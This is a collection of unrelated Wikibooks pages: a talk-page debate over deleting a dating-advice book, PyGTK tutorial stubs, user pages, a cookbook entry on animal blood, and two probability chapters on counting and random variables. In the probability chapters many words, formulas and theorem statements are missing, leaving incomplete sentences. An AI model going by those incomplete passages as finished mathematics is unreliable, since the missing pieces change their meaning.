 * If you were following the earlier VfD discussion, the current book grew out of that debate. Rather than fixing the old book in place, the current book(s) were created out of an NPOV'ed subset of the old content.  I was the one who NPOV'ed and moved it; I am certainly not one of the original authors, and the subject matter doesn't interest me much.  However, I think that we should be having the difficult and serious discussion about whether such a book is appropriate for Wikibooks, not whether poorly-written or highly POV content belongs here (it doesn't!).  Sj 06:24, 22 Mar 2005 (UTC)
 * As for my take on keeping or deleting it, I think the content has the potential to be useful, neutral, and presented in the form of a textbook; I also think it could be an enjoyable read, along the lines of the many self-help books published on the subject. I have conflicting thoughts about what Wikibooks content should encompass, but my current thoughts on the matter lend themselves to a weak keep.  Pages that induced me to try to salvage the previous book were Appearance and Dating ideas.  --Sj

Keep Some people really do need all the help they can get. Maybe not you. Have some pity on fellow human beings who are struggling to satisfy one of life's most basic needs.

AlbertCahalan 22:14, 5 Feb 2005 (UTC)

Comment To be fair, they authors seem to have tried to address the bias towards straight men by adding three other sections. It also now uses subpages so it isn't polluting the main namespace like the old one was. I'm no longer sure about this so please do not count me listing this page as a vote either way. -- mattrix 23:02, 5 Feb 2005 (UTC)

 * Delete I'm kind of curious to see where this book goes, and I'm amused by what's already in there (its predecessor, Getting a girl, was extremely funny), but I see nothing in the book so far that indicates that it's going to be more than people's random ideas and suggestions that they've thought about over the years, none of which is scientific, verifiable, and much of which is bound to be contradictory. The very nature of what has been written thus far indicates, to me, that the book has about zero chance of being useful to anybody, or worse, that anyone taking the book seriously will be as likely to be harmed by its contents as helped. Jun-Dai 21:43, 6 Feb 2005 (UTC)
 * By that argument, the Cookbook needs to go too. The recipes are all nothing more than people's random ideas and suggestions that they've thought about over the years, none of which is scientific, verifiable, and much of which is bound to be contradictory. This "Getting a data" book would have been damn useful to me 15 years ago. Have some pity, will you? Many of your fellow humans are suffering. AlbertCahalan 03:34, 7 Feb 2005 (UTC)
 *  If the book were renamed "tips on how to get a date," then sure, it would be an appropriate resource for various ideas about dating, kind of like a cookbook, or really, tips on any subject, and there would be no need for it to be scientific. Also, a recipe book is rarely contradictory: each recipe is a particular means to its own end (i.e., incapable of contradicting other recipes, because recipes by their very nature do not need to contain general principles about cooking--any such information is beyond its scope), and any internal contradictions within a recipe can quickly be spotted.  Additionally, a recipe book is also quite verifiable.  If someone follows the recipe, and gets a pile of grey goo when they were expecting an eclair, then they will know that something was either wrong with their ability to follow the instructions, or with the recipe itself.  The wiki philosophy can and will (over time) sort out any recipes that produce results that differ from the expectations set forth in the recipe.  The ideas set forth in "getting a girl/date," however, are not verifiable, and where the results differ from what is written, the error can scarcely be traced to a particular element wrong in the instructions or in the execution of the instructions.  The wiki philosophy simply doesn't work for such casual advice: we cannot asymptotically arrive at "truth," because there is no truth to arrive at--just a shitload of unverifiable conjecture.  What you would have found helpful 15 years ago could easily cause another person great distress now, and not simply because they failed to follow the clear and precise instructions.
 * In addition to these general issues, I have some problems with the specifics of how this book is being approached. To begin with, the book seems to frequently rely on the premise that a girl can be "gotten."  In many cases, a given man will be incapable of "getting" a particular girl, and following the instructions set forth will essentially further his transformation into an obsessive, determined maniac that will find himself presented with a restraining order.  Also, most principles around "getting a girl" are largely dependent on context, and yet no attempt is made to clarify this, or to establish which principles are general ones, which are applicable only to specific contexts (and to what contexts they are applicable), and which might be applicable to many, but not all contexts.  The problem here is that people are only familiar with the contexts to which they've been exposed, and are not suited for giving advice to another person in differing circumstances.
 * Consider this ridiculous piece of advice: "A girl likes to know that you would fight for her honor and to keep her safe (whether she can defend herself or not)." While this may have been useful information to a particular person in every (potential or otherwise) dating situation they've been in (though in such a case, I suspect that there are some problems with that person's analysis of those situations), there are also many scenarios in which this outmoded idea (and any behavior that follows from it) is totally inapplicable.  Yet the book presents it as a general statement, with no explication regarding what circumstances it might be true in, and with no explanation of what sort of knowledge or expertise the author has that he might be able to give such advice, and no reference to any data (solid or otherwise) that is capable of supporting this.  Any claim that the author simply "knows this to be true" is simply bullshit--a single person's experience, no matter how broad or deep, cannot establish profound knowledge of the human condition in general.  The best we could hope for is that this piece of information is based on international surveys, statistical analysis, and years of experimentation through relationship therapy--in which case this information would then provide us with certain types of contexts and scenarios for which the information is appropriate (which is certainly not all of them), and it would certainly be much more detailed.
 * That sample piece of advice is not unusual within the text of the book as it stands. The entire book is written in the same way.  My vote stands.
 * Comment: this book is not a form of pity, it is a form of "kicking them while they're down," if anything. Jun-Dai
 * I see. The problem is that the book is not politically correct. The example you present (able and willing to keep her safe) is in no way outmoded... even if many woman won't admit it to themselves. It will be outmoded perhaps some day, after about a million years of future human evolution. The premise that "getting a girl" via pursuit is possible is mostly true as well, and it is something I wish I'd understood about 15 years ago. It sure did work for my step-sister-in-law's husband, who is now married to the woman of his dreams. Tradition still works, surprisingly well in fact. AlbertCahalan 00:41, 8 Feb 2005 (UTC)
 * That is not a matter of political correctness. I am not as concerned about the offensiveness of the content (as some others are) as I am the inaccuracy, invalidity, and purely speculative qualities of the information.  You have given evidence of this with your attempts to back up the information using purely information from your own life (which is necessarily incomplete data, the sort of which does not belong in this book--and if the book is to be composed entirely or even mostly of this information, then it does not belong in wikibooks). Jun-Dai 00:13, 9 Feb 2005 (UTC)
 * I see no such requirement for wikibooks. The wikipedia entry for wikibooks says "manuals, and other texts", but says nothing about prohibiting the humanities. This sure counts as a manual. It also might actually get used... the idea of a wiki "book" being used to teach a serious college science course is just laughable. A guide to getting women doesn't need to be stable and well-organized over an entire semester. In other words, it's perfect for a wiki. AlbertCahalan 02:39, 9 Feb 2005 (UTC)
 * On the contrary, what is "perfect for a wiki" are books containing information that can be repeated (if it is providing instructions, as in a cookbook), verified, and improved by the community. This, on the other hand, only contains speculation and opinions that are lumped one on the other (with some of the most awful poetic phrasings), without any truth that can be arrived at.  There are some experimental ideas out there about creating fiction or art on a wiki, or other such contributional work that has no truth to arrive at, but wikibooks is not one of those projects.  The idea of a wiki "book" being used to teach a serious college science course is not at all laughable, it just happens to be something of a distant hope at this point in time.  All of the wiki projects are long-term projects, and even the most mature one: the English wikipedia, is not a terrible good reference as of yet.  All indications are that it will be in time, however--or that it will be good enough for most people, most of the time." Jun-Dai 02:50, 9 Feb 2005 (UTC)
 * The guide for getting women actually does have truth that can be verified and improved upon. The methods may differ from what you are familiar with. One simple way things could work would be for people to mark tactics as they succeed or fail. Any variations caused by situation are experimental error, just as in any science. In time, each method will have a success rate associated with it, with accuracy according to how often the method was attempted. AlbertCahalan 05:39, 9 Feb 2005 (UTC)
 * That, my friend, is a contentious and non-neutral point of view, as is everything I've read within the text about which we are arguing. Jun-Dai 20:30, 10 Feb 2005 (UTC)
 * I've asked for Jimbo Wales' opinion, as it's not in anybody's interests for him to find out about this months later and delete it. See w:User_talk:Jimbo Wales. -- mattrix 00:52, 13 Feb 2005 (UTC)

 * Keep noticed mattrix comment to Jimbo and thought I would read it and add my two cents. Seems worthy of keeping and seeing what will happen. Trödel

 * Delete This is not a textbook and the "advice" is unhelpful and simplistic. I don't think any scholarship will ever make its way to this module, either. MShonle 03:35, 13 Feb 2005 (UTC)
 * The advice is helpful, particularly regarding mindset and overcoming fear. It would be easy to improve this book. Doing so while a vote for deletion hangs over it is not exactly fun. (yeah right, people are going to contribute to something under threat of being destroyed) AlbertCahalan 03:49, 13 Feb 2005 (UTC)

 * Jimbo has suggested that this book should be moved to Wikicities. Would the proponents of this book be happy with that as a compromise?
 * Hmmm, this is more of a textbook than the Cookbook, which really does need to move to it's own domain. So I might like the cookbook to move, pending some study of server reliability and capacity. The Getting_a_date book does really seem to belong on wikibooks, fitting in rather decently with both the stated mission and the various structural restrictions imposed by a shared wiki. The cookbook on the other hand, has outgrown a shared wiki and has no need for the proposed linearization-to-paper enhancements that this wiki might be getting. AlbertCahalan 23:42, 14 Feb 2005 (UTC)

 * Keep The textbook, while currently somewhat simplistic, is no worse than a lot of other books out there. If people attempt to follow the advice in there and come back with their experiences, it would improve in a controlled manner. I see nothing sacred in this subject; it is probably a craft that can be learned by a dedicated student. The argument that people will get hurt is silly: If you engage in dating (or life) you will get hurt. most likely. That is the price of the game. If you followed the advice in the book, at least you have something to blame :)

(Edit: I think many parts of the current version deals with not only dating, but with psychology (fear), health (diet) and interaction skills in general so I believe there are a lot of interesting information in it even if its not about dating.

 * Keep the most apeal of Wiki-everything comes from that it is-not-a-paper thing, simplistic no problem there are peole needing simplistic advice, other guys and gals can click throught by the time the book grows, this book can be left here, if there is any joke parts of it they can be fixed. Anyway I admit this book for me is a great way to indulge my extravert part, by examining other peoples view on this subject in every simplistic detail.The Getting a girl had many problems beyond title.Gnomz007 from Wikipedia

Deletion discussion here instead of at WB:VFD
This discussion is interesting, but I missed it, instead posting at Votes for deletion. I would think that this discussion is too biased in favor of the book, because of its location. Use the VFD page so that the entire Wikibooks community can discuss it. --Kernigh 05:05, 18 November 2005 (UTC)

Sorry, that was February 2005, now it is November 2005. --Kernigh 20:21, 27 November 2005 (UTC)

Discussion from Talk:Getting a girl (for guys)
I'm confused. I read on the vote for deletion page that this book was to be deleted, yet it has not only been re-created, but has forked into 4 different books. Am I mis-understanding something here?
 * I believe you are. The book was npov'ed, content was removed, other neutral content was added, and the book was properly identified as "getting a date" for only one of the four most common sexual orientations and circumstances.  This was done after discussion with Jimbo and others involved with the previous debates.  Sj 06:29, 22 Mar 2005 (UTC)

 * This book is good, but it's got a few bad features: It's written from the first person, it's not NPOV, it's somewhat America-centric, or at least Western-hemisphere-centric. It needs a lot of work, but it has a right to existance. The dating ideas are a good repository! --wp:is:Spm

Double Your Dating ? Why do we have that there, if we are having external links can we seperate them into commercial and non-commercial sites David DeAngelo is well known on the internet for his dating books, but I don't think this is the place for it though, does anyone agree? If we put up david's material whats to stop us putting out all the other seduction/pickup stuff that's out there ? --aUserOnline

Additions after my proximity edit
I bet those were all made by women, still mystified by what men want. I tell ya, it is that simple. --Randal L. Schwartz 14:48, 16 November 2005 (UTC)

Guide to Social Activity
I have not edited every submodule, but I unilaterally decided to move Getting a date to Guide to Social Activity/Courtship. Explanation: --Kernigh 22:20, 27 November 2005 (UTC)
 * 1) Getting a date was nominated for cleanup, yet there was no recent work on it.
 * 2) I wanted to write Guide to Social Activity/Alcohol and decided that alcohol and courtship belong in the same book.
 * 3) Users have threatened Getting a date with deletion, despite efforts to improve it. I wanted to continue these efforts to improve it.
 * 4) Getting a date was unnecessarily divided four ways, depending on the gender of the participants. There is not much difference between a man with a woman, and a woman with a man, so I decided to combine them.
 * 5) The book contained mostly advice for dating, but I think that it should contain additional material, such as a description and history of dating.

I want to merge in Getting a boy, but Guide to Social Activity/Courtship is at votes for deletion, and Getting a boy is not a deletion candidate. --Kernigh 15:38, 1 December 2005 (UTC)

Since Getting a boy is now a deletion candidate, and seems useless, I have voted to delete it and removed the proposal to merge it here.

Problems while improving the Courtship module
I am trying to fix Guide to Social Activity/Courtship (formerly Getting a date). The three major improvements are:
 * 1) Establish gender-neutrality. Some persons claim that the old version was sexist; I think that the module should be gender-neutral. The information, in most cases, is as applicable to a man and a woman as to the other three cases.
 * 2) Establish verifiable information. By finding Wikipedia or Internet links, I can use these to determine whether the usefulness of the existing content. (I have already removed some of the existing content that I expect not to try and verify.)
 * 3) Broaden scope of some modules. Some modules are doing poorly, and improvements would probably broaden their scope from courtship to social activity in general.

I have made not much actual progress for this. Most of what I tried so far was to establish gender-neutrality. In particular, sometimes I am trying to provide general information, and sometimes I am trying to write a how-to. I might need to make another module first, perhaps Guide to Social Activity/Alcohol, and use it as a module for Courtship. --Kernigh 02:30, 9 December 2005 (UTC)

I miss Rock 'n roll
This dating site is too sweet and christian. It only takes in account the stereotype relationships without taking the reality into account that all people are different. There is no atention for gays and lesbians. There is no atention for the bad boys and the fact that girls tend to like bad boys. 'Showing respect for everybody you meets' sounds like bullshit to me. I don't like the rolemodels that girls should let the boys ask them out and that boys should be protective. We have just witnessed 50 years of attempts to create freedom. Must we go back to the days in which half of the population was not able to find happyness in a relationship. I think this whole guide should be nominated for deletion. (Proud to be from Holland and to be an atheist)--82.139.82.196 22:14, 8 January 2006 (UTC)

 * The Guide to Social Activity/Courtship (formerly Getting a date) recently survived a "votes for deletion". There are several flaws with the current text, but I am very slow to fix them. I have already removed some problem sections and entire subpages, but not all of the bad parts are missing.

 * I am somewhat surprised that this text is finding readers. How are readers finding this module? I thought the only way to navigate to here was through . --Kernigh 03:21, 9 January 2006 (UTC)

 * I found it through a Wikipedia article of the same name. All I have to say is that for something as fundamental as a relationship, it is impossible to make a gender-neutral article. I'm a very left-wing liberal, but for a topic that is the reason for gender you just cannot treat it like that. While I respect the fact that it doesn't always have to be the guy who asks the girl out or that it doesn't even have to be a guy and a girl at all, I think that you have to accept the fact that women and men interact differently and it would make more sense to have situation based guides for each that allow for the reader to be either a leader of follower. --64.148.27.99 02:11, 4 February 2006 (UTC)

?
Is this worth adding to the article? BBC: Taking the contraceptive pill appears to change women's taste in men.

Biased
Am I the only one who feels that this book is too biased towards heterosexual males? What about the rest of us? 01:54, 11 December 2006 (UTC)

I think this is biased towards adults who live in cities. ;( Icelandic Hurricane 14:15, 22 July 2007 (UTC)
 * Poor town kids... Icelandic Hurricane 13:46, 19 August 2007 (UTC)

I agree (probably a few years to late). This book seems to be one person's opinion passed off as researched advice, I particularly love the point about Saisburys! I really don't see how to clean this up without deleting 90% of the module.

title: Talk:Guide to Social Activity/Courtship


text:
PyGTK For GUI Programming

PyGTK For GUI Programming is an in-depth tutorial on the python bindings to the GTK+ toolkit, assuming no previous knowledge of GTK+. The reader is expected to know enough about the Python programming language to be able to understand the examples, although experience with building GUI interfaces in general is not required.

Table of contents

 * Introduction
 * First Steps
 * Signals, events and callbacks
 * Input widgets
 * Packing

For editors

 * Editing Guidelines
 * Authors
 * New sections and content first go into Development.

title: PyGTK For GUI Programming


text:
PyGTK For GUI Programming/Development

PyGTK For GUI Programming/Input Widgets

title: PyGTK For GUI Programming/Development


text:
Talk:PyGTK For GUI Programming

I didn't put this into any category yet, will do it when having some contents to this book. Baiju M

Push
Have re-written the introduction and added the first steps chapter. Working on re-writing events and hope to add more content as I get round to it. There is a very comprehensive tutorial at http://www.pygtk.org/tutorial.html, but I sure things can be explained more clearly, and perhaps some practicable solutions to specific tasks. Anyhow, nothing will happen very fast. 4crickj (talk) 19:31, 12 August 2010 (UTC)

 * I'll add the PyGTK tutorial link to the further reading section as that's what I was looking for when I got here :) Hopugop (discuss • contribs) 14:46, 11 December 2011 (UTC)

title: Talk:PyGTK For GUI Programming


text:
User:Baijum81

Baiju M

I am currently working on PyGTK For GUI Programming.

title: User:Baijum81


text:
User talk:Duke of Puke

This user has been blocked forever for page move vandalism. Gentgeen 06:55, 24 Apr 2005 (UTC)

title: User talk:Duke of Puke


text:
User:Benlee

I am studying Nursing at the University of North Alabama. I have no experience writing books, but I will contribute to the Math and Nursing departments. For now I will be gathering my notes.

Notes

''O would that all were truly Christian! It is easy to be a Christian on the tongue, but hard to be a true one. Today [1910] some five hundred million souls are Christian, but the real Christian is very rare: he is that soul from whose comely face there shineth the splendour of Christ; and who showeth forth the perfections of the Kingdom; this is a matter of great moment, for to be a Christian is to embody every excellence there is.''
 * 'Abdu'l-Bahá, Selections from the Writings of 'Abdu'l-Bahá, 29-30, #15

title: User:Benlee


text:
User:Benlee/Notes

University Classes

 * Freshman Composition II
 * Human Anatomy and Physiology
 * Human Growth and Development

Bahá'í Faith

 * Bahá'í Writings and the Holy Bible
 * Comments on Writings

Daily

 * Agenda
 * Goals

title: User:Benlee/Notes


text:
Probability/Combinatorics

We all know how to count. However, counting can actually be quite complicated, and there are many sophisticated techniques related to counting. In this chapter, we will introduce some basic techniques, which are the basis for calculating (discussed in next chapter). Those techniques make use of the heavily, discussed in the following section.

Fundamental counting principles
Just as there are four kinds of basic operations in mathematics: addition, subtraction, multiplication, division, there are four corresponding fundamental principles in counting: addition, subtraction, multiplication, division counting principles.

Addition and subtraction counting principles
More generally, we have the counting principle:

Actually, the previous two principles of counting are just special cases of a more general principle:.

Multiplication counting principle
When we are using the multiplication counting principle to solve some counting problems, we need to be careful about the following:
 * We need to ensure that the number ways of doing each task are, and should not depend on the way of doing the other tasks. (See the following example.)
 * After using the multiplication counting principle to count the number of ways to do the $$n$$ tasks, it is possible that some of the ways (or "decision paths", i.e., the paths that we "go through" the tree diagram) actually correspond to the under the situation in a problem, so the those ways should only be counted as one outcome in that context. (See the following example.)

Division counting principle
Graphically, it looks like $$ \begin{align} \text{Task }\quad&\text{ Procedure}\\ \hline \text{way 1}\leftrightarrow&\begin{cases}\text{way 1}\\\text{way 2}\\\quad\vdots\\\text{way }d\end{cases}\\ \text{way 2}\leftrightarrow&\begin{cases}\text{way 1}\\\text{way 2}\\\quad\vdots\\\text{way }d\end{cases}\\ \vdots\\ \text{way }\frac{n}{d}\leftrightarrow&\begin{cases}\text{way 1}\\\text{way 2}\\\quad\vdots\\\text{way }d\end{cases}\\ \hline \qquad\qquad&\text{Total}:\frac{n}{d}\times d=n\text{ ways for the procedure} \end{align} $$

We should be aware that the division counting principle does not apply if different ways of doing task correspond to number of ways in the procedure. Consider the following examples:

Number of ways for placing r balls into n cells
In this section, we will discuss how to count the number of ways for placing $$r$$ balls into $$n$$ cells. From here, one may then ask why do we consider this particular situation, and it may seem that we rarely encounter this situation in practice. Often, we want to count the number of ways for doing things other than placing balls into cells.

Although many situations encountered may seem to be quite different from this situation, particularly, the background is usually not about placing balls into cells, we may them as if we are placing balls into cells. Indeed, many situations are so-called "abstractly equivalent", in the sense that the underlying process of "generating" the outcomes is the same, but we just have different verbal descriptions.

Let us consider some situations that are abstractly equivalent to "placing $$r$$ balls into $$n$$ cells" (for some $$n$$ and $$r$$):
 * 1) Number of possible birthdays for 10 people: placing 10 "people" (balls) into 365 "birthday dates" (cells). (Here, we assume one year has only 365 days.) Notice that we are  placing 365 "birthday dates" into 10 "people". (If this is this case, some people have more than one birthday!) Notice also that we can place more than one person into the same "birthday date". (Multiple people can share the same birthday!)
 * 2) Setting a 6-digit numeric password: placing 6 "password positions" (balls) into 10 "numbers" (cells) (0,1,...,9). (Likewise, we are  placing "numbers" into "password positions". If this is the case, then some password position contains  number, which is impossible.)
 * 3) Classification of 1000 people into ages 0-10, 11-20, ..., 91-100, 101 or above: placing 1000 "people" (balls) into 11 "age groups" (cells).
 * 4) Elevator with 20 passengers and stopping at 10 floors: placing 20 "passengers" (balls) into 10 "floors" (cells).
 * 5) 3 pigeons flying into 2 pigeonholes: placing 3 "pigeons" (balls) into 2 "pigeonholes" (cells).
 * 6) Rolling 10 dice: placing 10 "dice" (balls) into 6 "outcomes" (cells).
 * 7) Drawing 3 cards from a poker deck: placing 3 "draws" (balls) into 52 "cards" (cells).
 * 8) Tossing 2 coins: placing 2 "coin tosses" (balls) into 2 "outcomes" (cells).
 * 9) Select 5 people from 20 people to form a committee: placing 5 "committee positions" (balls) into 20 "people" (cells).

In this section, we will mainly develop some formulas for calculating the number of ways to select some objects from distinguishable objects, , classified by whether the selection is, and whether the selection is. We can apply the above notion of "abstract equivalence" to convert such selection as a problem of placing some distinguishable or indistinguishable balls into some distinguishable cells with certain capacity, so that we can develop the formula more easily and conveniently. (As we will see, the distinguishability of balls corresponds to whether the selection is ordered or not, and the capacity of the cells correspond to whether the selection is with or without replacement.)

Before discussing these four types of selection, we need to introduce a preliminary mathematical concept which will be used frequently in the following:

Placing r distinguishable balls into n distinguishable cells with capacity one (ordered selection without replacement)
Let us first discuss ordered selection of $$r$$ objects from $$n$$ objects without replacement. We can regard this to be abstractly equivalent to placing $$r$$ distinguishable balls (choice 1,2,...,$$r$$) into $$n$$ distinguishable cells (object 1,2,...,$$n$$) with capacity one. After that, we develop the following formula.
 * The capacity is one, since, we are unable to choose the same object multiple times (unable to put two or more balls (choices) into the same cell (object))

The situation in the example above can actually be interpreted as a special case of.

Partition
For permutating the string "APPLE", we can regard the situation as partitioning 5 (distinguishable and ordered) into 4 groups: "A", "P", "L", and "E", where we require the group "A", "P", "L", "E" to contain 1,2,1,1 letter positions respectively. Similarly, for permutating the string "PEPPER", we can regard the situation as partitioning 5 (distinguishable and ordered) into 3 groups: "P", "E" and "R" where we require the group "P", "E", "R" to contain 3,2,1 letter positions respectively.

Such situation is actually abstractly equivalent to placing distinguishable balls into distinguishable cells, with some restrictions on the number of balls each cell contain. Generally, "partitioning $$n$$ distinguishable objects into $$k$$ groups, where group 1,2,...,$$k$$ must contain $$n_1,n_2,\dotsc,n_k$$ objects respectively" (Merely changing the order of placing the objects into a certain group do not affect the partition, since the group still contains the same thing at the end.) is abstractly equivalent to "placing $$n$$ distinguishable balls into cell 1,2,...,$$k$$, where cell 1,2,...,$$k$$ must contain $$n_1,n_2,\dotsc,n_k$$ balls respectively".

In the following, we will discuss unordered selection without replacement, which can be regarded as a special case of partition.

Placing r indistinguishable balls into n distinguishable cells with capacity one (unordered selection without replacement)
Previously, we have discussed placing $$r$$ balls into $$n$$ distinguishable cells with capacity one. Now, we will consider the case where the $$r$$ balls are. (One may conceive the balls to be (say same color and size), and hence indistinguishalble.) Similarly, such placement is equivalent to selection without replacement (the $$r$$ balls represent the choices, and every cell can still contain at most one ball). However, in this case, the $$r$$ balls (choices) are indistinguishable. So, we only know that which $$r$$ of the $$n$$ cells contain one ball (are selected), but do not know in do they contain one ball, since the balls are indistinguishable. Hence, the order for which the cells contain one ball (are selected) is not important in this case, since we cannot identify the different orders of selection anyways. Hence, we consider the selection process as. Such selection process is quite common since we are often more interested in knowing are selected, and are not quite interested in in  the things are selected.

In this case, we can actually regard this as a special case of partition: So, this means such placement is equivalent to the partition of $$n$$ distinguishable cells into two groups with $$r$$ distinguishable cells and $$n-r$$ distinguishable cells respectively. With such consideration, the following result is transparent:
 * For the cells with one ball ($$r$$ of them), they are put into the group "selected" (they are selected to place one ball).
 * For the cells with zero ball ($$n-r$$ of them), they are put into the group "not selected" (they are not selected to place one ball).

Here, we give an alternative proof to this theorem which uses the previous result for distinguishable balls and the division counting principle:

Placing r distinguishable balls into n distinguishable cells with unlimited capacity (ordered selection with replacement)
So far, we have only considered the selection replacement, or equivalently, cells with. From this section onward, we will discuss the selection replacement, or equivalently, cells with  (same thing can be chosen unlimited times). In this section, let us consider the simpler one: placing $$r$$ distinguishable balls into $$n$$ distinguishable cells with unlimited capacity. This is equivalent to ordered selection of $$r$$ objects from $$n$$ distinguishable objects with replacement, by regarding the ball 1,2,...,$$r$$ as choice 1,2,...,$$r$$, cell 1,2,...,$$n$$ as object 1,2,...,$$n$$. In particular, since every object can be chosen unlimited times, every cell has unlimited capacity. But counting the number of ways of such placement is actually quite simple, since we can just use the multiplication counting principle.

Placing r indistinguishable balls into n distinguishable cells with unlimited capacity (unordered selection with replacement)
In the previous section, the balls are distinguishable. Now, we will discuss a more complicated situation where the balls are indistinguishable.

The challenging part of this situation is that we cannot apply the division counting principle to count the number of ways, as in the previous situation about placing $$r$$ indistinguishable balls into $$n$$ distinguishable cells with capacity one ("task"). In that previous situation, we know that every way in the task corresponds to $$r!$$ ways in the procedure (where we are placing $$r$$ distinguishable balls), by considering the number of ways of permutating the $$r$$ cells occupied by.

However, in this case, every cell can contain more than one ball. This means the number of occupied cells can range from 1 (all $$r$$ balls in one cell) to $$r$$ (one ball each for the $$r$$ cells), depending on how we put the balls into the cells in the task. Hence, different ways in the task correspond to different number of ways in the procedure. Thus, we cannot apply the division counting principle.

Because of this, the method for developing the number of ways in this situation is quite different from the methods discussed previously, and we need some tricks.

Summary
Alternatively and equivalently,

Indistinguishable cells
When the are indistinguishable, there are no simple and nice formulas for counting the number of ways generally. Also, in this case, it may be more difficult to imagine what "indistinguishable cells" look like, since even the cells are identical, their positions should be different so that the balls can be placed in different cells. Then, the cells are still distinguishable. To visualize indistinguishable cells, one may conceive that after the balls are placed into the cells, the cells are "sorted", based on the number of balls they contain, with the cell with least balls placed at leftmost, and the cell with most balls placed at rightmost. (The cells with the same number of balls can just be put together, in any order.) Then, after "throwing" the balls into the cells the cells are sorted, we can look at the cells to observe the results. In this case, the cells can be regarded as indistinguishable, since we only know how many cells contain zero, one, etc. balls, but not precisely which of the original cell 1,2,.. contains how many balls (we cannot tell which cell is the original "cell 1,2,..." after sorting).

When we encounter indistinguishable cells, we may need to consider the ways one by one.

A powerful tool for counting problems: generating functions
The following theorem gives some common generating functions.

title: Probability/Combinatorics


text:
Cookbook:Blood

Animal blood is used as an ingredient in many cuisines.

Characteristics
Blood can be eaten from a variety of animals, including pigs, poultry, cattle and bison, and more. The exact qualities of the blood will depend on the animal—for example, chicken and pork bloods are considered mild in flavor, while beef blood has more of a "gamey" quality. All blood, however, is dark purple to bright red when raw (depending on its oxygen exposure) and brown when heated, with high levels of protein and iron. This iron content gives it a metallic flavor somewhat akin to liver, which can be desirable or not depending on the palate of the diner.

Selection and storage
Blood is highly perishable and is best used fresh —it keeps at most for a couple of days in the fridge. Freezing for long-term storage is also an option, though this can impact its texture upon thaw. To prevent undesired clotting, an anticoagulant may be added, such as an acid or salt that binds calcium. Before using the blood, it's best to strain to remove any clots that may have formed.

Blood will smell metallic but should not have strong off or overly gamey scent or flavor.

Use
Though taboo in some cultures, blood has a traditional place in many cuisines, where it provides flavor, thickening capabilities, and nutritional content. Blood in sausages is common, as well as its use in soups and stews, and it is often paired with other strong-flavored ingredients. It can even be used in Scandinavian breads and pancakes.

Because of its high protein content, blood can be used as an egg substitute and whipped for use in foamed products like meringues and cakes. As a guide, 65 g blood will replace 1 whole egg (58 g) and 43 g blood will replace 1 egg white (33 g). Note that whipping blood requires more time and gradual speed increase in order to achieve a stable foam.

title: Cookbook:Blood


text:
Probability/Random Variables

Motivation
In many experiments, there may be so many possible outcomes in the sample space that we may want to instead work with a "summary variable" for those outcomes. For example, suppose a poll is conducted for 100 different people to ask them whether they agree with a certain proposal. Then, to keep track of the answers from those 100 people completely, we may first use a number to indicate the response: (For simplicity, we assume that there are only these two responses available.) After that, to record which person answer which response, we use a vector with 100 numbers for the record. For example, $$(1,0,1,0,0,\dotsc,1,0,0)$$, etc. Since for every coordinate in the vector, there are two choices: "0" or "1", there are in total $$2^{100}\approx 1.268\times 10^{30}$$ different vectors in the sample space (denoted by $$\Omega$$)! Hence, it is very tedious and complicated to work with that many outcomes in the sample space $$\Omega$$. Instead, we are often only interested in how many "agree" and "disagree" are there, instead of which person answers which response, since the number of "agree" and "disagree" determines whether the proposal is agreed by majority of them, and thus captures the essence of the poll.
 * number "1" for "agree".
 * number "0" for "disagree".

Hence, it is more convenient to define a variable $$X$$ which gives the number of "1"s in the 100 coordinates in every outcome in the sample space $$\Omega$$. Then, $$X$$ can only take 101 possible values: 0,1,2,...,100, which is much fewer than the number of outcomes in the original sample space.

Through this, we can change the original experiment to a new experiment, where the variable $$X$$ takes one of the 101 possible values according to certain probabilities. For this new experiment, the sample space becomes $$\{0,1,\dotsc,100\}$$.

During the above process of defining the variable $$X$$ (called ), we have actually (implicitly) defined a function where the domain is the original sample space, and the range is $$\{0,1,\dotsc,100\}$$. Usually, we take the codomain of the random variable to be the set of all real numbers $$\mathbb R$$. That is, we define the random variable $$X:\Omega\to\mathbb R$$ by $$X(\omega)=\text{number of 1s in the coordinates of }\omega$$ for every $$\omega\in\Omega$$.

Definition
To define random variable formally, we need the concept of measurable function:

By defining a random variable $$X:\Omega\to\mathbb R$$ from a probability space $$(\Omega,\mathcal F,\mathbb P)$$, we actually a new probability space $$(\mathcal X,\mathcal F_X,\mathbb P_X)$$ where $$\mathbb P_X(E)=\mathbb P(\{X\in E\})$$
 * The induced sample space $$\mathcal X$$ is the of the random variable $$X$$: $$\mathcal X=\{X(\omega):\omega\in\Omega\}\subseteq\mathbb R$$.
 * The induced event space $$\mathcal F_X$$ is a $$\sigma$$-algebra of $$\mathcal X$$. (Here, we follow our previous convention: $$\mathcal F_X=\mathcal P(\mathcal X)$$ when $$\mathcal X$$ is countable.)
 * The induced probability measure $$\mathbb P_X:\mathcal F_X\to[0,1]$$ is defined by
 * for every $$E\in\mathcal F_X$$.

It turns out the induced probability measure satisfies all the probability axioms:

After proving this result, it follows that all properties of probability measure discussed previously also apply to the induced probability measure $$\mathbb P_X$$. Hence, we can use the properties of probability measure to calculate the probability $$\mathbb P_X(E)$$, and hence $$\mathbb P(X\in E)$$, for every set $$E\in\mathcal F_X$$. More generally, to calculate the probability $$\mathbb P(X\in B)$$ for every $$B\in\mathcal B$$ ($$B$$ does not necessarily belong to $$\mathcal F_X$$), we notice that $$\{X\in B\}=\{X\in B\cap\mathcal X\}$$, and it turns out that $$B\cap\mathcal X\in\mathcal F_X$$. Hence, we can calculate $$\mathbb P(X\in B)$$ by considering $$\mathbb P_X(B\cap\mathcal X)$$.

Sometimes, even it is infeasible to list out all sample points in the sample space, we can also determine the probability related to the random variable.

A special kind of random variable that is quite useful is the indicator random variable, which is a special case of :

Cumulative distribution function
For every random variable $$X$$, there is function associating with it, called the (cdf) of $$X$$:

We can see from the cdf in the example above that the cdf is not necessarily continuous. There are several discontinuities at the jump points. But we can notice that at each jump point the cdf takes the value at the of the jump, by the definition of cdf (the inequality involved includes also the equality). Loosely speaking, this suggests that the cdf is. However, the cdf is not in general.

In the following, we will discuss three properties of cdf.

Sometimes, we are only interested in the values $$x$$ such that $$\mathbb P(X=x)\ne 0$$, which are more 'important'. Roughly speaking, the values are actually the elements of the of $$X$$, which is defined in the following.

Discrete random variables
Often, for discrete random variable, we are interested in the probability that the random variable takes a specific value. So, we have a function that gives the corresponding probability for each specific value taken, namely.

Continuous random variables
